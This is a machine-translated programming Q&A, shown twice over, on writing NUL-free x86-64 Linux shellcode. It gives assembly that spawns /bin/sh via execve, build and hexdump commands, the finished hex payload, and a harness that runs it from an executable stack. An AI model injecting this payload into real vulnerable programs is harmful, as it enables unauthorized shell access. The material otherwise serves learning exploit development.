指向不带 .data 部分的独立二进制代码中的字符串的指针
Pointer to string in stand-alone binary code without .data section
我正在尝试编写某种漏洞利用程序,但在将我的 asm 代码 运行 放在堆栈的任何位置时遇到问题。在这里:
BITS 64
global _start
_start:
mov rax, 59
jmp short file
c1:
pop rdi
jmp short argv
c2:
pop rsi
mov rdx, 0
syscall
ret
file:
call c1
db '/bin/sh',0
argv:
call c2
dq arg, 0 <- problem
arg:
db 'sh',0
由于选定的行,此代码无法在堆栈的任何位置运行,因为此代码可以在堆栈的任何位置执行,因此 nasm 无法正确计算 arg 的地址。 (这是问题所在 的跟进。)
我已经用 jmp/call/pop 技巧轻松替换了字符串,但在指向字符串的指针方面仍然存在问题。
在 64 位代码中,您不需要 JMP/CALL/POP 方法,因为您可以使用 RIP 相对寻址。您的代码还会使用 mov rdx, 0
等指令在字符串中插入不需要的 NUL 字节。对于将作为字符串插入的 shell 代码,您需要使用一组不引入 NUL 的指令,因为这可能会过早地结束字符串,具体取决于它是如何注入到可利用程序中的。
execve
定义为:
execve - execute program
int execve(const char *pathname, char *const argv[],
char *const envp[]);
argv is an array of argument strings passed to the new program. By
convention, the first of these strings (i.e., argv[0]) should contain
the filename associated with the file being executed. envp is an
array of strings, conventionally of the form key=value, which are
passed as environment to the new program. The argv and envp arrays
must each include a null pointer at the end of the array.
如果不使用 envp,您可以传递 NULL。 argv 需要以 NULL 结尾的 list 字符串指针。在您的情况下,您正在尝试生成 C 代码的等价物:
#include <unistd.h>
int main()
{
char pathname[] = "/bin/sh";
char *argv[] = { pathname, NULL };
execve (pathname, argv, NULL);
return 0;
}
您完全可以在汇编代码的堆栈上完成此操作,可以 运行 作为 shell 代码。以下代码在堆栈上构建 /bin/sh
字符串并将 RDI(路径名)指向它。然后它通过将 NULL 压入堆栈并压入 RDI 中的值来构建以 NULL 终止的 argv 列表。 RSI 然后设置到堆栈上的 argv 列表。 RDX 已归零,因此 envp 列表为 NULL。然后调用 execve
(系统调用 59)。我创建了一个 shellcode.asm
汇编文件:
BITS 64
global _start
_start:
; Build pathname on the stack
sub rsp, 8 ; Allocate space for the pathname on the stack
mov rdi, rsp ; Set RDI to the space that will hold the pathname
mov dword [rsp], '/bin' ; Move the first 4 characters of the path into pathname
mov dword [rsp+4], '/sh.' ; Move the last 4 characters of the path into pathname
; The '.' character will be replaced with a NUL byte
xor eax, eax ; Zero RAX
mov [rsp+7], al ; Terminate pathname by replacing the period with 0
; Build NULL terminated argv list on the stack
push rax ; NULL terminator
push rdi ; Pointer to pathname
mov rsi, rsp ; Point RSI to the argv array
xor edx, edx ; RDX = NULL(0) (we don't have an envp list)
mov al, 59 ; 59 = execve system call number
syscall ; Do the execve system call
将其构建为二进制可执行文件:
nasm -f elf64 shellcode.asm -o shellcode.o
gcc -nostartfiles shellcode.o -o shellcode
运行 ./shellcode
应该产生 Linux shell 提示。接下来将独立可执行文件转换为名为 shellcode.bin
的 shell 字符串二进制文件,然后使用 HEXDUMP:
将其转换为 HEX 字符串
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\""x" 1/1 "%02x" ""' shellcode.bin
HEXDUMP 的输出应该是:
\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05
注意:输出中没有NUL(\x00
)
将字符串插入可利用的 C++ 程序调用 exploit.cpp
:
int main(void)
{
char shellstr[]="\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05";
reinterpret_cast<void(*)()>(shellstr)();
return 0;
}
编译成程序exploit
,可执行栈:
g++ -Wl,-z,execstack exploit.cpp -o exploit
当 运行 和 ./exploit
时,它应该显示 Linux shell 提示。 strace ./exploit
应该为 execve
系统调用输出这个:
execve("/bin/sh", ["/bin/sh"], NULL) = 0
我正在尝试编写某种漏洞利用程序,但在将我的 asm 代码 运行 放在堆栈的任何位置时遇到问题。在这里:
BITS 64
global _start
_start:
mov rax, 59
jmp short file
c1:
pop rdi
jmp short argv
c2:
pop rsi
mov rdx, 0
syscall
ret
file:
call c1
db '/bin/sh',0
argv:
call c2
dq arg, 0 <- problem
arg:
db 'sh',0
由于选定的行,此代码无法在堆栈的任何位置运行,因为此代码可以在堆栈的任何位置执行,因此 nasm 无法正确计算 arg 的地址。 (这是问题所在
我已经用 jmp/call/pop 技巧轻松替换了字符串,但在指向字符串的指针方面仍然存在问题。
在 64 位代码中,您不需要 JMP/CALL/POP 方法,因为您可以使用 RIP 相对寻址。您的代码还会使用 mov rdx, 0
等指令在字符串中插入不需要的 NUL 字节。对于将作为字符串插入的 shell 代码,您需要使用一组不引入 NUL 的指令,因为这可能会过早地结束字符串,具体取决于它是如何注入到可利用程序中的。
execve
定义为:
execve - execute program
int execve(const char *pathname, char *const argv[], char *const envp[]);
argv is an array of argument strings passed to the new program. By convention, the first of these strings (i.e., argv[0]) should contain the filename associated with the file being executed. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. The argv and envp arrays must each include a null pointer at the end of the array.
如果不使用 envp,您可以传递 NULL。 argv 需要以 NULL 结尾的 list 字符串指针。在您的情况下,您正在尝试生成 C 代码的等价物:
#include <unistd.h>
int main()
{
char pathname[] = "/bin/sh";
char *argv[] = { pathname, NULL };
execve (pathname, argv, NULL);
return 0;
}
您完全可以在汇编代码的堆栈上完成此操作,可以 运行 作为 shell 代码。以下代码在堆栈上构建 /bin/sh
字符串并将 RDI(路径名)指向它。然后它通过将 NULL 压入堆栈并压入 RDI 中的值来构建以 NULL 终止的 argv 列表。 RSI 然后设置到堆栈上的 argv 列表。 RDX 已归零,因此 envp 列表为 NULL。然后调用 execve
(系统调用 59)。我创建了一个 shellcode.asm
汇编文件:
BITS 64
global _start
_start:
; Build pathname on the stack
sub rsp, 8 ; Allocate space for the pathname on the stack
mov rdi, rsp ; Set RDI to the space that will hold the pathname
mov dword [rsp], '/bin' ; Move the first 4 characters of the path into pathname
mov dword [rsp+4], '/sh.' ; Move the last 4 characters of the path into pathname
; The '.' character will be replaced with a NUL byte
xor eax, eax ; Zero RAX
mov [rsp+7], al ; Terminate pathname by replacing the period with 0
; Build NULL terminated argv list on the stack
push rax ; NULL terminator
push rdi ; Pointer to pathname
mov rsi, rsp ; Point RSI to the argv array
xor edx, edx ; RDX = NULL(0) (we don't have an envp list)
mov al, 59 ; 59 = execve system call number
syscall ; Do the execve system call
将其构建为二进制可执行文件:
nasm -f elf64 shellcode.asm -o shellcode.o
gcc -nostartfiles shellcode.o -o shellcode
运行 ./shellcode
应该产生 Linux shell 提示。接下来将独立可执行文件转换为名为 shellcode.bin
的 shell 字符串二进制文件,然后使用 HEXDUMP:
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\""x" 1/1 "%02x" ""' shellcode.bin
HEXDUMP 的输出应该是:
\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05
注意:输出中没有NUL(\x00
)
将字符串插入可利用的 C++ 程序调用 exploit.cpp
:
int main(void)
{
char shellstr[]="\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05";
reinterpret_cast<void(*)()>(shellstr)();
return 0;
}
编译成程序exploit
,可执行栈:
g++ -Wl,-z,execstack exploit.cpp -o exploit
当 运行 和 ./exploit
时,它应该显示 Linux shell 提示。 strace ./exploit
应该为 execve
系统调用输出这个:
execve("/bin/sh", ["/bin/sh"], NULL) = 0